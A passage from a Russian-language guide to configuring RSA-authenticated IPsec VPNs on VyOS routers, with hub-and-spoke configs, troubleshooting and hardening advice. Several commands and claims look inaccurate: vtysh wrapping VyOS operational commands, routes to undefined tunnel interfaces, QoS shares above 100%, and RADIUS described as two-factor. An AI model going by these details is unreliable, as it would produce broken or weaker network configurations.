- **Spoke 3 (Филиал Екатеринбург):** VyOS router, статический IP 198.51.100.100, сеть 10.10.3.0/24

### Топология сети

```
                          ┌─────────────────────────────┐
                          │ VK Cloud (Moscow Region)    │
                          │                             │
                          │  ┌──────────────────────┐   │
                          │  │ Hub VyOS Router      │   │
                          │  │ 89.208.220.50        │   │
                          │  │ 10.0.0.1 (LAN)       │   │
                          │  └──────────┬───────────┘   │
                          │             │               │
                          │  ┌──────────┴───────────┐   │
                          │  │ VK Cloud Network     │   │
                          │  │ 10.0.0.0/16          │   │
                          │  └──────────────────────┘   │
                          │                             │
                          └──────────────┬──────────────┘
                                         │
                 ┌───────────────────────┼───────────────────────┐
                 │                       │                       │
                 │                       │                       │
     ┌───────────▼───────────┐ ┌────────▼────────────┐ ┌────────▼────────────┐
     │ Spoke 1: Moscow       │ │ Spoke 2: SPb        │ │ Spoke 3: Ekb        │
     │ Dynamic IP            │ │ Dynamic IP          │ │ Static IP           │
     │ 10.10.1.0/24          │ │ 10.10.2.0/24        │ │ 198.51.100.100      │
     │                       │ │                     │ │ 10.10.3.0/24        │
     └───────────────────────┘ └─────────────────────┘ └─────────────────────┘
```

### Генерация ключей на всех узлах

**Hub (VK Cloud):**

```bash
vyos@hub-router:~$ configure
vyos@hub-router# generate pki key-pair install hub-vkcloud-key
vyos@hub-router# commit
vyos@hub-router# save
```

**Spoke 1 (Москва):**

```bash
vyos@spoke1-moscow:~$ configure
vyos@spoke1-moscow# generate pki key-pair install spoke1-moscow-key
vyos@spoke1-moscow# commit
vyos@spoke1-moscow# save
```

**Spoke 2 (Санкт-Петербург):**

```bash
vyos@spoke2-spb:~$ configure
vyos@spoke2-spb# generate pki key-pair install spoke2-spb-key
vyos@spoke2-spb# commit
vyos@spoke2-spb# save
```

**Spoke 3 (Екатеринбург):**

```bash
vyos@spoke3-ekb:~$ configure
vyos@spoke3-ekb# generate pki key-pair install spoke3-ekb-key
vyos@spoke3-ekb# commit
vyos@spoke3-ekb# save
```

### Обмен публичными ключами

**Импорт публичных ключей Spokes на Hub:**

```bash
vyos@hub-router# set pki key-pair spoke1-remote-key public key '<spoke1-public-key>'
vyos@hub-router# set pki key-pair spoke2-remote-key public key '<spoke2-public-key>'
vyos@hub-router# set pki key-pair spoke3-remote-key public key '<spoke3-public-key>'
vyos@hub-router# commit
```

**Импорт публичного ключа Hub на каждый Spoke:**

```bash
# На Spoke 1
vyos@spoke1-moscow# set pki key-pair hub-remote-key public key '<hub-public-key>'

# На Spoke 2
vyos@spoke2-spb# set pki key-pair hub-remote-key public key '<hub-public-key>'

# На Spoke 3
vyos@spoke3-ekb# set pki key-pair hub-remote-key public key '<hub-public-key>'
```

### Конфигурация Hub Router (VK Cloud)

```bash
configure

# Общие IKE и ESP группы для всех Spokes
set vpn ipsec ike-group IKE-HUB proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-HUB proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-HUB proposal 1 hash 'sha256'
set vpn ipsec ike-group IKE-HUB lifetime '28800'
set vpn ipsec ike-group IKE-HUB dead-peer-detection action 'restart'
set vpn ipsec ike-group IKE-HUB dead-peer-detection interval '30'
set vpn ipsec ike-group IKE-HUB dead-peer-detection timeout '120'

set vpn ipsec esp-group ESP-HUB proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-HUB proposal 1 hash 'sha256'
set vpn ipsec esp-group ESP-HUB lifetime '3600'
set vpn ipsec esp-group ESP-HUB pfs 'dh-group14'

# Spoke 1 Configuration (Dynamic IP)
set vpn ipsec site-to-site peer spoke1 authentication mode 'rsa'
set vpn ipsec site-to-site peer spoke1 authentication rsa local-key 'hub-vkcloud-key'
set vpn ipsec site-to-site peer spoke1 authentication rsa remote-key 'spoke1-remote-key'
set vpn ipsec site-to-site peer spoke1 authentication local-id 'hub@vkcloud.local'
set vpn ipsec site-to-site peer spoke1 authentication remote-id 'spoke1-moscow@company.local'

set vpn ipsec site-to-site peer spoke1 connection-type 'respond'
set vpn ipsec site-to-site peer spoke1 ike-group 'IKE-HUB'
set vpn ipsec site-to-site peer spoke1 local-address '89.208.220.50'
set vpn ipsec site-to-site peer spoke1 remote-address 'any'

set vpn ipsec site-to-site peer spoke1 tunnel 1 esp-group 'ESP-HUB'
set vpn ipsec site-to-site peer spoke1 tunnel 1 local prefix '10.0.0.0/16'
set vpn ipsec site-to-site peer spoke1 tunnel 1 remote prefix '10.10.1.0/24'

# Spoke 2 Configuration (Dynamic IP)
set vpn ipsec site-to-site peer spoke2 authentication mode 'rsa'
set vpn ipsec site-to-site peer spoke2 authentication rsa local-key 'hub-vkcloud-key'
set vpn ipsec site-to-site peer spoke2 authentication rsa remote-key 'spoke2-remote-key'
set vpn ipsec site-to-site peer spoke2 authentication local-id 'hub@vkcloud.local'
set vpn ipsec site-to-site peer spoke2 authentication remote-id 'spoke2-spb@company.local'

set vpn ipsec site-to-site peer spoke2 connection-type 'respond'
set vpn ipsec site-to-site peer spoke2 ike-group 'IKE-HUB'
set vpn ipsec site-to-site peer spoke2 local-address '89.208.220.50'
set vpn ipsec site-to-site peer spoke2 remote-address 'any'

set vpn ipsec site-to-site peer spoke2 tunnel 1 esp-group 'ESP-HUB'
set vpn ipsec site-to-site peer spoke2 tunnel 1 local prefix '10.0.0.0/16'
set vpn ipsec site-to-site peer spoke2 tunnel 1 remote prefix '10.10.2.0/24'

# Spoke 3 Configuration (Static IP)
set vpn ipsec site-to-site peer spoke3 authentication mode 'rsa'
set vpn ipsec site-to-site peer spoke3 authentication rsa local-key 'hub-vkcloud-key'
set vpn ipsec site-to-site peer spoke3 authentication rsa remote-key 'spoke3-remote-key'
set vpn ipsec site-to-site peer spoke3 authentication local-id 'hub@vkcloud.local'
set vpn ipsec site-to-site peer spoke3 authentication remote-id 'spoke3-ekb@company.local'

set vpn ipsec site-to-site peer spoke3 connection-type 'initiate'
set vpn ipsec site-to-site peer spoke3 ike-group 'IKE-HUB'
set vpn ipsec site-to-site peer spoke3 local-address '89.208.220.50'
set vpn ipsec site-to-site peer spoke3 remote-address '198.51.100.100'

set vpn ipsec site-to-site peer spoke3 tunnel 1 esp-group 'ESP-HUB'
set vpn ipsec site-to-site peer spoke3 tunnel 1 local prefix '10.0.0.0/16'
set vpn ipsec site-to-site peer spoke3 tunnel 1 remote prefix '10.10.3.0/24'

commit
save
```

### Конфигурация Spoke Routers

**Spoke 1 (Москва - Dynamic IP):**

```bash
configure

set vpn ipsec ike-group IKE-HUB proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-HUB proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-HUB proposal 1 hash 'sha256'
set vpn ipsec ike-group IKE-HUB lifetime '28800'
set vpn ipsec ike-group IKE-HUB dead-peer-detection action 'restart'
set vpn ipsec ike-group IKE-HUB dead-peer-detection interval '30'
set vpn ipsec ike-group IKE-HUB dead-peer-detection timeout '120'

set vpn ipsec esp-group ESP-HUB proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-HUB proposal 1 hash 'sha256'
set vpn ipsec esp-group ESP-HUB lifetime '3600'
set vpn ipsec esp-group ESP-HUB pfs 'dh-group14'

set vpn ipsec site-to-site peer hub authentication mode 'rsa'
set vpn ipsec site-to-site peer hub authentication rsa local-key 'spoke1-moscow-key'
set vpn ipsec site-to-site peer hub authentication rsa remote-key 'hub-remote-key'
set vpn ipsec site-to-site peer hub authentication local-id 'spoke1-moscow@company.local'
set vpn ipsec site-to-site peer hub authentication remote-id 'hub@vkcloud.local'

set vpn ipsec site-to-site peer hub connection-type 'initiate'
set vpn ipsec site-to-site peer hub ike-group 'IKE-HUB'
set vpn ipsec site-to-site peer hub local-address 'any'
set vpn ipsec site-to-site peer hub remote-address '89.208.220.50'

set vpn ipsec site-to-site peer hub tunnel 1 esp-group 'ESP-HUB'
set vpn ipsec site-to-site peer hub tunnel 1 local prefix '10.10.1.0/24'
set vpn ipsec site-to-site peer hub tunnel 1 remote prefix '10.0.0.0/16'

commit
save
```

**Spoke 2 (Санкт-Петербург - Dynamic IP):**

```bash
configure

# IKE и ESP группы идентичны Spoke 1

set vpn ipsec site-to-site peer hub authentication mode 'rsa'
set vpn ipsec site-to-site peer hub authentication rsa local-key 'spoke2-spb-key'
set vpn ipsec site-to-site peer hub authentication rsa remote-key 'hub-remote-key'
set vpn ipsec site-to-site peer hub authentication local-id 'spoke2-spb@company.local'
set vpn ipsec site-to-site peer hub authentication remote-id 'hub@vkcloud.local'

set vpn ipsec site-to-site peer hub connection-type 'initiate'
set vpn ipsec site-to-site peer hub ike-group 'IKE-HUB'
set vpn ipsec site-to-site peer hub local-address 'any'
set vpn ipsec site-to-site peer hub remote-address '89.208.220.50'

set vpn ipsec site-to-site peer hub tunnel 1 esp-group 'ESP-HUB'
set vpn ipsec site-to-site peer hub tunnel 1 local prefix '10.10.2.0/24'
set vpn ipsec site-to-site peer hub tunnel 1 remote prefix '10.0.0.0/16'

commit
save
```

**Spoke 3 (Екатеринбург - Static IP):**

```bash
configure

# IKE и ESP группы идентичны другим Spokes

set vpn ipsec site-to-site peer hub authentication mode 'rsa'
set vpn ipsec site-to-site peer hub authentication rsa local-key 'spoke3-ekb-key'
set vpn ipsec site-to-site peer hub authentication rsa remote-key 'hub-remote-key'
set vpn ipsec site-to-site peer hub authentication local-id 'spoke3-ekb@company.local'
set vpn ipsec site-to-site peer hub authentication remote-id 'hub@vkcloud.local'

set vpn ipsec site-to-site peer hub connection-type 'respond'
set vpn ipsec site-to-site peer hub ike-group 'IKE-HUB'
set vpn ipsec site-to-site peer hub local-address '198.51.100.100'
set vpn ipsec site-to-site peer hub remote-address '89.208.220.50'

set vpn ipsec site-to-site peer hub tunnel 1 esp-group 'ESP-HUB'
set vpn ipsec site-to-site peer hub tunnel 1 local prefix '10.10.3.0/24'
set vpn ipsec site-to-site peer hub tunnel 1 remote prefix '10.0.0.0/16'

commit
save
```

### Маршрутизация Spoke-to-Spoke через Hub

Для обеспечения связности между Spoke-узлами необходимо настроить маршрутизацию через Hub:

**На Hub Router:**

```bash
configure

# Включить IP forwarding (обычно включено по умолчанию)
set system ip forwarding

# Статические маршруты для каждого Spoke
set protocols static route 10.10.1.0/24 interface tunnel0
set protocols static route 10.10.2.0/24 interface tunnel1
set protocols static route 10.10.3.0/24 interface tunnel2

# Или использовать динамическую маршрутизацию (BGP/OSPF)
# Пример с OSPF:
set protocols ospf area 0 network '10.0.0.0/16'
set protocols ospf area 0 network '10.10.1.0/24'
set protocols ospf area 0 network '10.10.2.0/24'
set protocols ospf area 0 network '10.10.3.0/24'

commit
save
```

**На каждом Spoke Router:**

```bash
configure

# Маршрут по умолчанию через Hub для других Spoke сетей
set protocols static route 10.10.0.0/16 interface tunnel0

# Или специфические маршруты
set protocols static route 10.10.2.0/24 interface tunnel0
set protocols static route 10.10.3.0/24 interface tunnel0

commit
save
```

## Примеры конфигурации для различных сценариев

### Сценарий 1: Site-to-Site с двумя туннелями (резервирование)

Для повышения отказоустойчивости можно настроить два туннеля между одними и теми же узлами:

```bash
configure

# Primary Tunnel (основной канал)
set vpn ipsec site-to-site peer remote-site tunnel 1 esp-group 'ESP-PRIMARY'
set vpn ipsec site-to-site peer remote-site tunnel 1 local prefix '10.10.1.0/24'
set vpn ipsec site-to-site peer remote-site tunnel 1 remote prefix '10.10.2.0/24'
set vpn ipsec site-to-site peer remote-site tunnel 1 priority '10'

# Backup Tunnel (резервный канал)
set vpn ipsec site-to-site peer remote-site-backup authentication mode 'rsa'
set vpn ipsec site-to-site peer remote-site-backup authentication rsa local-key 'local-key'
set vpn ipsec site-to-site peer remote-site-backup authentication rsa remote-key 'remote-key-backup'
set vpn ipsec site-to-site peer remote-site-backup remote-address '<backup-ip>'
set vpn ipsec site-to-site peer remote-site-backup tunnel 1 esp-group 'ESP-BACKUP'
set vpn ipsec site-to-site peer remote-site-backup tunnel 1 local prefix '10.10.1.0/24'
set vpn ipsec site-to-site peer remote-site-backup tunnel 1 remote prefix '10.10.2.0/24'
set vpn ipsec site-to-site peer remote-site-backup tunnel 1 priority '20'

commit
save
```

### Сценарий 2: VPN с разделением трафика (Split Tunneling)

Настройка множественных туннелей для разных подсетей:

```bash
configure

# Tunnel 1: для серверной подсети
set vpn ipsec site-to-site peer remote-site tunnel 1 esp-group 'ESP-SERVERS'
set vpn ipsec site-to-site peer remote-site tunnel 1 local prefix '10.10.1.0/24'
set vpn ipsec site-to-site peer remote-site tunnel 1 remote prefix '10.20.10.0/24'

# Tunnel 2: для рабочих станций
set vpn ipsec site-to-site peer remote-site tunnel 2 esp-group 'ESP-WORKSTATIONS'
set vpn ipsec site-to-site peer remote-site tunnel 2 local prefix '10.10.2.0/24'
set vpn ipsec site-to-site peer remote-site tunnel 2 remote prefix '10.20.20.0/24'

# Tunnel 3: для управляющих систем (с повышенной безопасностью)
set vpn ipsec site-to-site peer remote-site tunnel 3 esp-group 'ESP-MGMT'
set vpn ipsec site-to-site peer remote-site tunnel 3 local prefix '10.10.100.0/24'
set vpn ipsec site-to-site peer remote-site tunnel 3 remote prefix '10.20.100.0/24'

commit
save
```

### Сценарий 3: VPN с QoS для приоритизации трафика

```bash
configure

# Определение классов трафика
set traffic-policy shaper VPN-SHAPER bandwidth '100mbit'
set traffic-policy shaper VPN-SHAPER class 10 bandwidth '40%'
set traffic-policy shaper VPN-SHAPER class 10 match VOICE ip dscp 'ef'
set traffic-policy shaper VPN-SHAPER class 20 bandwidth '30%'
set traffic-policy shaper VPN-SHAPER class 20 match VIDEO ip dscp 'af41'
set traffic-policy shaper VPN-SHAPER class 30 bandwidth '30%'
set traffic-policy shaper VPN-SHAPER default bandwidth '20%'

# Применение политики к VPN интерфейсу
set interfaces tunnel tun0 traffic-policy out 'VPN-SHAPER'

commit
save
```

### Сценарий 4: Интеграция с VRRP для высокой доступности

Два VyOS router в режиме HA с общим виртуальным IP для VPN:

**Router 1 (Master):**

```bash
configure

# VRRP Configuration
set high-availability vrrp group VPN-HA vrid '10'
set high-availability vrrp group VPN-HA interface 'eth0'
set high-availability vrrp group VPN-HA virtual-address '203.0.113.100/24'
set high-availability vrrp group VPN-HA priority '200'

# VPN Configuration using VRRP virtual IP
set vpn ipsec site-to-site peer remote-site local-address '203.0.113.100'

commit
save
```

**Router 2 (Backup):**

```bash
configure

# VRRP Configuration
set high-availability vrrp group VPN-HA vrid '10'
set high-availability vrrp group VPN-HA interface 'eth0'
set high-availability vrrp group VPN-HA virtual-address '203.0.113.100/24'
set high-availability vrrp group VPN-HA priority '100'

# Identical VPN Configuration
set vpn ipsec site-to-site peer remote-site local-address '203.0.113.100'

commit
save
```

## Команды верификации и диагностики

### Проверка состояния IPsec

**Общий статус IPsec:**

```bash
show vpn ipsec sa
```

**Пример вывода:**

```
Connection                State    Uptime    Bytes In/Out
------------------------  -------  --------  --------------
office-branch             up       00:15:23  125K/98K
  Tunnel 1                up       00:15:20  125K/98K
```

**Детальная информация о соединении:**

```bash
show vpn ipsec sa detail
```

**Вывод включает:**

- IKE версию и алгоритмы
- Состояние туннелей
- Время установления и переключения SA
- Счетчики пакетов и байтов
- Remote и Local ID

### Проверка IKE SA (Security Associations)

```bash
show vpn ike sa
```

**Пример вывода:**

```
Peer ID / IP                            Local ID / IP
--------------------------------------  ----------------------------
office-router@company.local             yc-router@yandex-cloud.local
198.51.100.20                           51.250.10.50

    State  Encrypt  Hash    D-H Group  NAT-T  A-Time  L-Time
    -----  -------  ------  ---------  -----  ------  ------
    up     aes256   sha256  14         no     2341    28800
```

### Просмотр конфигурации VPN

**Полная конфигурация VPN:**

```bash
show configuration commands | grep vpn
```

**Конкретный peer:**

```bash
show configuration commands | grep "vpn ipsec site-to-site peer office-branch"
```

### Проверка ключей

**Список всех ключевых пар:**

```bash
show pki key-pair
```

**Вывод:**

```
Key Pair Name         Type    Comment
--------------------  ------  ---------
yc-cloud-key          rsa     Local key
office-remote-key     rsa     Remote peer
```

**Просмотр публичного ключа:**

```bash
show pki key-pair yc-cloud-key public
```

### Мониторинг трафика

**Статистика туннелей:**

```bash
show vpn ipsec sa statistics
```

**Просмотр счетчиков:**

```bash
show interfaces tunnel
```

### Отладка и логирование

**Включение подробного логирования IPsec:**

```bash
configure
set vpn ipsec logging log-level '2'
commit
```

**Уровни логирования:**

- 0: Критичные ошибки
- 1: Ошибки
- 2: Предупреждения и важные события (рекомендуется)
- 3: Информационные сообщения
- 4: Отладочная информация (только для диагностики)

**Просмотр логов IPsec:**

```bash
show log vpn ipsec
```

**Мониторинг в реальном времени:**

```bash
monitor log vpn ipsec
```

**Системные логи:**

```bash
show log | match ipsec
show log | match charon
```

### Тестирование связности

**Ping через VPN туннель:**

```bash
ping 10.128.0.11 source-address 192.168.10.1 count 5
```

**Traceroute через туннель:**

```bash
traceroute 10.128.0.11 source-address 192.168.10.1
```

**Проверка маршрутизации:**

```bash
show ip route
show ip route 10.128.0.0/16
```

## Устранение неполадок (Troubleshooting)

### Ошибки аутентификации

**Проблема:** Туннель не устанавливается, ошибки аутентификации в логах

**Симптомы:**

```
IKE authentication credentials are unacceptable
received NO_PROPOSAL_CHOSEN error notify
```

**Решения:**

1. **Проверка соответствия ключей:**

```bash
# На Router1
show pki key-pair remote-router-key public

# Сравните с локальным ключом на Router2
show pki key-pair local-router-key public
```

Публичный ключ Router1 должен точно совпадать с импортированным ключом на Router2.

2. **Проверка local-id и remote-id:**

```bash
# На Router1
show configuration commands | grep "authentication.*-id"

# На Router2
show configuration commands | grep "authentication.*-id"
```

Убедитесь, что local-id Router1 = remote-id Router2 и наоборот.

3. **Проверка режима аутентификации:**

```bash
show configuration commands | grep "authentication mode"
```

Должен быть установлен `mode 'rsa'` на обеих сторонах.

### Несоответствие ключей (Key Mismatch)

**Проблема:** Ключи не совпадают или повреждены

**Диагностика:**

```bash
# Экспорт и сравнение ключей
show pki key-pair remote-key public | save /tmp/remote-key.txt

# Сравните с оригинальным ключом удаленного узла
```

**Решение:**

1. Удалите поврежденный ключ:

```bash
configure
delete pki key-pair remote-key
commit
```

2. Импортируйте ключ заново:

```bash
set pki key-pair remote-key public key '<correct-public-key>'
commit
save
```

3. Перезапустите IPsec:

```bash
restart vpn
```

### Проблемы с proposal (алгоритмы шифрования)

**Проблема:** NO_PROPOSAL_CHOSEN ошибка

**Симптомы:**

```
no matching proposal found, sending NO_PROPOSAL_CHOSEN
```

**Решение:**

Убедитесь, что IKE и ESP группы идентичны на обеих сторонах:

```bash
# Router1
show configuration commands | grep "ike-group IKE-GROUP"
show configuration commands | grep "esp-group ESP-GROUP"

# Router2 - должна быть идентичная конфигурация
```

Добавьте множественные proposals для совместимости:

```bash
configure
set vpn ipsec ike-group IKE-GROUP proposal 2 dh-group '14'
set vpn ipsec ike-group IKE-GROUP proposal 2 encryption 'aes128'
set vpn ipsec ike-group IKE-GROUP proposal 2 hash 'sha256'
commit
```

### Туннель устанавливается, но трафик не проходит

**Проблема:** IPsec SA активен, но пинг не работает

**Диагностика:**

1. **Проверка tunnel prefixes:**

```bash
show configuration commands | grep "tunnel.*prefix"
```

Убедитесь, что local и remote prefixes правильно настроены и зеркально отражены на обеих сторонах.

2. **Проверка firewall правил:**

```bash
show firewall
```

Убедитесь, что трафик из VPN-сетей разрешен.

3. **Проверка NAT:**

```bash
show nat source rules
```

VPN-трафик должен быть исключен из NAT:

```bash
configure
set nat source rule 10 outbound-interface 'eth0'
set nat source rule 10 source address '10.10.1.0/24'
set nat source rule 10 destination address '10.10.2.0/24'
set nat source rule 10 exclude
commit
```

4. **Проверка маршрутизации:**

```bash
show ip route
```

Должны быть маршруты для удаленных VPN-сетей через туннельный интерфейс.

### Dead Peer Detection не работает

**Проблема:** Туннель не восстанавливается после разрыва

**Решение:**

```bash
configure
set vpn ipsec ike-group IKE-GROUP dead-peer-detection action 'restart'
set vpn ipsec ike-group IKE-GROUP dead-peer-detection interval '30'
set vpn ipsec ike-group IKE-GROUP dead-peer-detection timeout '120'
commit
save
```

Для более агрессивного DPD:

```bash
set vpn ipsec ike-group IKE-GROUP dead-peer-detection interval '10'
set vpn ipsec ike-group IKE-GROUP dead-peer-detection timeout '30'
```

### Проблемы с динамическими IP

**Проблема:** Туннель не устанавливается после смены IP-адреса

**Решение:**

1. **На стороне с динамическим IP:**

```bash
configure
set vpn ipsec site-to-site peer remote-site local-address 'any'
set vpn ipsec site-to-site peer remote-site connection-type 'initiate'
commit
```

2. **На стороне со статическим IP:**

```bash
configure
set vpn ipsec site-to-site peer remote-site remote-address 'any'
set vpn ipsec site-to-site peer remote-site connection-type 'respond'
commit
```

3. **Принудительное переподключение:**

```bash
reset vpn ipsec-peer <peer-name>
```

### Логи для диагностики

**Включение детального логирования:**

```bash
configure
set vpn ipsec logging log-level '3'
set vpn ipsec logging log-modes 'ike'
set vpn ipsec logging log-modes 'esp'
commit
```

**Просмотр детальных логов:**

```bash
show log vpn ipsec | tail 100
monitor log vpn ipsec
```

**Системные логи charon (IKE daemon):**

```bash
show log | match charon
```

### Полный сброс и переподключение

**Сброс конкретного peer:**

```bash
reset vpn ipsec-peer office-branch
```

**Полный перезапуск IPsec:**

```bash
restart vpn
```

**Проверка после перезапуска:**

```bash
show vpn ipsec sa
show vpn ike sa
```

## Лучшие практики и рекомендации

### Управление ключами

**1. Длина ключей:**

- Минимум 2048 бит для корпоративных сетей
- 3072 бита для повышенной безопасности
- 4096 бит для критичных государственных систем

```bash
# Рекомендуемая генерация
generate pki key-pair type rsa length 3072 install <key-name>
```

**2. Регулярная ротация ключей:**

- Меняйте ключи каждые 12-24 месяца
- Немедленная ротация при подозрении на компрометацию
- Документируйте процесс ротации

**Процесс ротации:**

```bash
# 1. Генерация новых ключей
generate pki key-pair install new-key

# 2. Обмен публичными ключами
# 3. Обновление конфигурации VPN
configure
set vpn ipsec site-to-site peer remote authentication rsa local-key 'new-key'
commit

# 4. После проверки - удаление старых ключей
delete pki key-pair old-key
commit
save
```

**3. Защита приватных ключей:**

- Всегда используйте парольную защиту для приватных ключей
- Ограничьте доступ к конфигурации VyOS
- Регулярное резервное копирование ключей в защищенное хранилище
- Не передавайте приватные ключи по незащищенным каналам

**4. Централизованное управление:**

Для больших сетей используйте систему управления ключами:

```bash
# Скрипт для автоматизированного обмена ключами
#!/bin/bash
ROUTERS="router1 router2 router3"
for router in $ROUTERS; do
    ssh vyos@$router "show pki key-pair local-key public" > ${router}-public.key
done
```

### Выбор криптографических параметров

**1. Diffie-Hellman группы:**

- **Группа 14 (2048-bit MODP):** Минимально рекомендуемая
- **Группа 19 (256-bit ECP):** Оптимальный баланс
- **Группа 20 (384-bit ECP):** Максимальная безопасность

```bash
# Рекомендуемая конфигурация
set vpn ipsec ike-group IKE-SECURE proposal 1 dh-group '19'
```

**2. Алгоритмы шифрования:**

- **AES-256:** Стандарт для корпоративных сетей
- **AES-256-GCM:** Современный AEAD режим с аутентификацией
- **AES-128-GCM:** Для высокопроизводительных систем

```bash
# Современная безопасная конфигурация
set vpn ipsec ike-group IKE-MODERN proposal 1 encryption 'aes256gcm16'
set vpn ipsec esp-group ESP-MODERN proposal 1 encryption 'aes256gcm16'
```

**3. Функции хеширования:**

- **SHA-256:** Стандарт для большинства применений
- **SHA-384/512:** Для систем с повышенными требованиями

**4. Perfect Forward Secrecy (PFS):**

Всегда включайте PFS для защиты от компрометации долгосрочных ключей:

```bash
set vpn ipsec esp-group ESP-GROUP pfs 'dh-group19'
```

### Настройка lifetime

**Рекомендации по времени жизни SA:**

**IKE Lifetime:**

```bash
set vpn ipsec ike-group IKE-GROUP lifetime '28800'  # 8 часов
```

- Не устанавливайте слишком короткий lifetime (< 1 час) - увеличивает нагрузку на CPU
- Оптимальный диапазон: 8-24 часа
- Для критичных систем: 4-8 часов

**ESP Lifetime:**

```bash
set vpn ipsec esp-group ESP-GROUP lifetime '3600'  # 1 час
```

- Оптимальный диапазон: 1-4 часа
- Для высокозагруженных каналов: 30-60 минут
- Учитывайте объем трафика и производительность

### Мониторинг и логирование

**1. Настройка уровней логирования:**

```bash
configure
# Для продакшена - уровень 2 (warnings)
set vpn ipsec logging log-level '2'

# Для отладки - уровень 3-4
set vpn ipsec logging log-level '3'
set vpn ipsec logging log-modes 'ike'
set vpn ipsec logging log-modes 'esp'
set vpn ipsec logging log-modes 'cfg'

commit
save
```

**2. Автоматизированный мониторинг:**

Создайте скрипт для проверки состояния VPN:

```bash
#!/bin/bash
# /config/scripts/vpn-monitor.sh

PEERS="office-branch datacenter-vpn"
LOG_FILE="/var/log/vpn-monitor.log"

for peer in $PEERS; do
    STATUS=$(vtysh -c "show vpn ipsec sa | grep $peer | grep -c 'up'")
    if [ $STATUS -eq 0 ]; then
        echo "$(date): WARNING - VPN peer $peer is DOWN" >> $LOG_FILE
        # Попытка восстановления
        vtysh -c "reset vpn ipsec-peer $peer"
    fi
done
```

Запуск через cron:

```bash
configure
set system task-scheduler task vpn-monitor interval '5m'
set system task-scheduler task vpn-monitor executable path '/config/scripts/vpn-monitor.sh'
commit
```

**3. SNMP мониторинг:**

```bash
configure
set service snmp community public authorization 'ro'
set service snmp community public network '10.0.0.0/8'
commit
```

**4. Syslog интеграция:**

```bash
configure
set system syslog host 10.0.1.100 facility all level 'info'
set system syslog host 10.0.1.100 facility security level 'warning'
commit
```

### Производительность и оптимизация

**1. Настройка MTU для VPN:**

```bash
configure
# Уменьшение MTU для избежания фрагментации
set interfaces ethernet eth0 mtu '1500'
set interfaces tunnel tun0 mtu '1400'

# Включение MSS clamping
set policy route MSS-CLAMP rule 10 protocol 'tcp'
set policy route MSS-CLAMP rule 10 tcp flags 'SYN'
set policy route MSS-CLAMP rule 10 set tcp-mss '1360'

commit
```

**2. Аппаратное ускорение (если поддерживается):**

```bash
# Проверка поддержки AES-NI
show system cpu features
```

**3. Оптимизация для высокопроизводительных каналов:**

```bash
configure
# Использование GCM режима для аппаратного ускорения
set vpn ipsec ike-group IKE-PERF proposal 1 encryption 'aes128gcm16'
set vpn ipsec esp-group ESP-PERF proposal 1 encryption 'aes128gcm16'

# Увеличение буферов (при необходимости)
set system sysctl parameter net.core.rmem_max value '134217728'
set system sysctl parameter net.core.wmem_max value '134217728'

commit
```

### Безопасность и hardening

**1. Firewall для VPN трафика:**

```bash
configure
# Разрешить только IKE и ESP
set firewall name WAN_LOCAL rule 100 action 'accept'
set firewall name WAN_LOCAL rule 100 protocol 'udp'
set firewall name WAN_LOCAL rule 100 destination port '500'
set firewall name WAN_LOCAL rule 100 description 'Allow IKE'

set firewall name WAN_LOCAL rule 110 action 'accept'
set firewall name WAN_LOCAL rule 110 protocol 'udp'
set firewall name WAN_LOCAL rule 110 destination port '4500'
set firewall name WAN_LOCAL rule 110 description 'Allow NAT-T'

set firewall name WAN_LOCAL rule 120 action 'accept'
set firewall name WAN_LOCAL rule 120 protocol 'esp'
set firewall name WAN_LOCAL rule 120 description 'Allow ESP'

commit
```

**2. Ограничение доступа к управлению:**

```bash
configure
set service ssh access-control allow from '10.0.0.0/8'
set service ssh access-control allow from '192.168.0.0/16'
set service ssh access-control deny from '0.0.0.0/0'

set service https access-control allow from '10.0.0.0/8'
set service https access-control deny from '0.0.0.0/0'

commit
```

**3. Rate limiting для защиты от DoS:**

```bash
configure
set firewall name WAN_LOCAL rule 90 action 'drop'
set firewall name WAN_LOCAL rule 90 protocol 'udp'
set firewall name WAN_LOCAL rule 90 destination port '500,4500'
set firewall name WAN_LOCAL rule 90 recent count '10'
set firewall name WAN_LOCAL rule 90 recent time '60'
set firewall name WAN_LOCAL rule 90 state new 'enable'

commit
```

### Документирование конфигурации

**1. Описания в конфигурации:**

```bash
configure
set vpn ipsec site-to-site peer office-branch description 'VPN to Moscow Office'
set vpn ipsec ike-group IKE-CORPORATE description 'Corporate VPN IKE parameters'
set vpn ipsec esp-group ESP-CORPORATE description 'Corporate VPN ESP parameters'
commit
```

**2. Ведение changelog:**

```bash
# Добавление комментария к конфигурации
configure
commit comment "Added VPN tunnel to new branch office in SPb"
```

**3. Резервное копирование:**

```bash
# Автоматическое резервное копирование конфигурации
configure
set system task-scheduler task backup-config crontab-spec '0 2 * * *'
set system task-scheduler task backup-config executable path '/config/scripts/backup.sh'
commit
```

Скрипт резервного копирования:

```bash
#!/bin/bash
# /config/scripts/backup.sh
DATE=$(date +%Y%m%d-%H%M%S)
cp /config/config.boot /config/backups/config.boot.$DATE
# Оставляем последние 30 копий
ls -t /config/backups/config.boot.* | tail -n +31 | xargs rm -f
```

### Тестирование и валидация

**1. Регулярное тестирование:**

- Проверка связности через VPN еженедельно
- Тестирование failover механизмов ежемесячно
- Проверка восстановления после отключения питания

**2. Нагрузочное тестирование:**

```bash
# iperf3 тестирование пропускной способности VPN
iperf3 -c 10.10.2.1 -t 60 -P 4
```

**3. Проверка безопасности:**

```bash
# Валидация криптографических параметров
show vpn ipsec sa detail | grep -E "encr|hash|DH"
```

## Рекомендации по безопасности

### Защита приватных ключей

**1. Парольная защита:**

Всегда генерируйте ключи с парольной защитой:

```bash
generate pki key-pair install secure-key
# Введите надежный пароль при запросе
```

**2. Ограничение доступа к системе:**

```bash
configure
# Двухфакторная аутентификация через RADIUS/TACACS+
set system login radius server 10.0.1.50 key 'radius-secret'
set system login user admin authentication encrypted-password '<hash>'
set system login user admin authentication radius

# Отключение root входа
set system login user root authentication encrypted-password '!'

commit
```

**3. Аудит доступа:**

```bash
configure
set system syslog global facility auth level 'info'
set system syslog global facility authpriv level 'info'
commit
```

### Защита от атак

**1. Anti-replay защита:**

IPsec автоматически включает anti-replay защиту. Проверка:

```bash
show vpn ipsec sa detail | grep -i replay
```

**2. DPD для обнаружения атак:**

```bash
configure
set vpn ipsec ike-group IKE-GROUP dead-peer-detection action 'restart'
